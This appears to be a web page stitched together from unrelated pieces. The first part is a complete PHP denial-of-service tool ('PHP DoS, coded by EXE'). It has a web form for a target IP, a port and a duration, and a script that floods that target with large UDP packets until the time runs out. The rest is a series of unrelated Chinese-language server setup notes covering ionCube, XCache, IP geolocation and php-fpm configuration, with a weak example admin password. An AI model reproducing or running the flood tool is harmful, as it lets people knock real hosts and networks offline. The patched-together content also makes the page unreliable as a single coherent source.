index.php

<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
	<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
	<meta name="author" content="">

	<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 12px;
	font-style: normal;
	line-height: normal;
	color: #FFFFFF;
	background-color: #000000;
}

-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
    Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
    Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value="    Start the Attack--->    ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>

</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>

function.php

<?php

//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================

$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;



for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
        
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

http://www.ioncube.com/loaders.php
uname -a 查看linux服务器是32 还是64位的。
下载对应的版本,我这里是vps cnetos5.8 32
wget -c http://downloads2.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz
tar zxvf ioncube_loaders_lin_x86.tar.gz

Site error: the file /home/wwwroot/whmcs/index.php requires the ionCube PHP Loader ioncube_loader_lin_5.3.so to be installed by the website operator. If you are the website operator please use the ionCube Loader Wizard to assist with installation.

根据提示 选用对应版本的文件。

mv ioncube /usr/local/php/lib/php/extensions/

编辑php.ini

加入

;ionCube
[ionCube Loader]
zend_extension=/usr/local/php/lib/php/extensions/ioncube/ioncube_loader_lin_5.3.so

 

重启 php

 

 

 

 

    //获取ip地址归属地开始
    import('ORG.Net.IpLocation'); // 导入IpLocation类
    $Ip = new IpLocation('UTFWry.dat'); // 实例化类 参数表示IP地址库文件
    $ipaddr = $order[0]['ip'];
    $iparea = $Ip->getlocation($ipaddr); // 获取某个IP地址所在的位置
    $this->assign('iparea', $iparea);
    echo $iparea['ip'];
    echo $iparea['country'];
    echo $iparea['area'];
    //获取ip地址归属地结束

thinkphp使用 utf-8版 UTFWry.dat 2012-10-25日更新@纯正IP数据库。utf-8版 UTFWry.dat下载

–2012年12月21日更新–

最新

gb2312_qqwry.dat和utf-8_UTFWry.dat_IP地址库20121221.zip下载

tar zxvf xcache-2.0.1.tar.gz
cd xcache-2.0.1
phpize
./configure --with-php-config=/usr/local/php/bin/php-config --enable-xcache --enable-xcache-optimizer
make
make install
这步完成后出现的路径请记下来,后面的配置会用到
[root@web2 xcache-2.0.1]# make install
Installing shared extensions:     /usr/local/php/lib/php/extensions/no-debug-non-zts-20090626/
[root@web2 xcache-2.0.1]#

算出密码的MD5字串,用于设置管理密码
echo -n "123456" | md5sum

配置php.ini支持XCache
vi /usr/local/php/etc/php.ini

[xcache-common]
zend_extension = /usr/local/php/lib/php/extensions/no-debug-non-zts-20090626/xcache.so
[xcache.admin]
; Change xcache.admin.user to your preferred login name
xcache.admin.user = "admin"
; Change xcache.admin.pass to the MD5 fingerprint of your password
; Use md5 -s "your_secret_password" to find the fingerprint
xcache.admin.pass = "e10adc3949ba59abbe56e057f20f883e"
[xcache]
; Change xcache.size to tune the size of the opcode cache
xcache.size = 24M
xcache.shm_scheme = "mmap"
xcache.count = 2
xcache.slots = 8K
xcache.ttl = 0
xcache.gc_interval = 0
; Change xcache.var_size to adjust the size of variable cache
xcache.var_size = 8M
xcache.var_count = 1
xcache.var_slots = 8K
xcache.var_ttl = 0
xcache.var_maxttl = 0
xcache.var_gc_interval = 300
xcache.test = Off
xcache.readonly_protection = On
xcache.mmap_path = "/tmp/xcache"
xcache.coredump_directory = ""
xcache.cacher = On
xcache.stat = On
xcache.optimizer = Off
[xcache.coverager]
xcache.coverager = On
xcache.coveragedump_directory = ""

重启php-fpm

[root@web2 ]# /etc/init.d/php-fpm restart

Gracefully shutting down php-fpm . done
Starting php-fpm  done
[root@web2 ]#

查看phpinfo显出的信息
This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
with XCache v2.0.1, Copyright (c) 2005-2012, by mOo
或者用探针查看是否已经支持xcache

更多信息请查看xcache官网~

http://xcache.lighttpd.net/

[root@web1]# vi /usr/local/php/etc/php-fpm.conf

[global]
pid = /usr/local/php/var/run/php-fpm.pid
error_log = /usr/local/php/var/log/php-fpm.log
log_level = notice

[www]
listen = /tmp/php-cgi.sock
user = www
group = www
pm = dynamic
pm.max_children = 160 //最大启用多少个进程,根据自己服务器的配置调整
pm.start_servers = 30
pm.min_spare_servers = 20
pm.max_spare_servers = 40
pm.max_requests = 10240
;chroot = /home/wwwroot/
env[TMP] = /tmp/
env[TMPDIR] = /tmp/
env[TEMP] = /tmp/
php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f i@iamle.com //设置php mail发送参数
php_admin_value[open_basedir] = /home/wwwroot/:/usr/local/php/:/tmp/:/var/tmp/:/proc/ //这几个很重要了,限制php访问目录~
php_admin_value[session.save_path] = /tmp/
php_admin_value[upload_tmp_dir] = /tmp/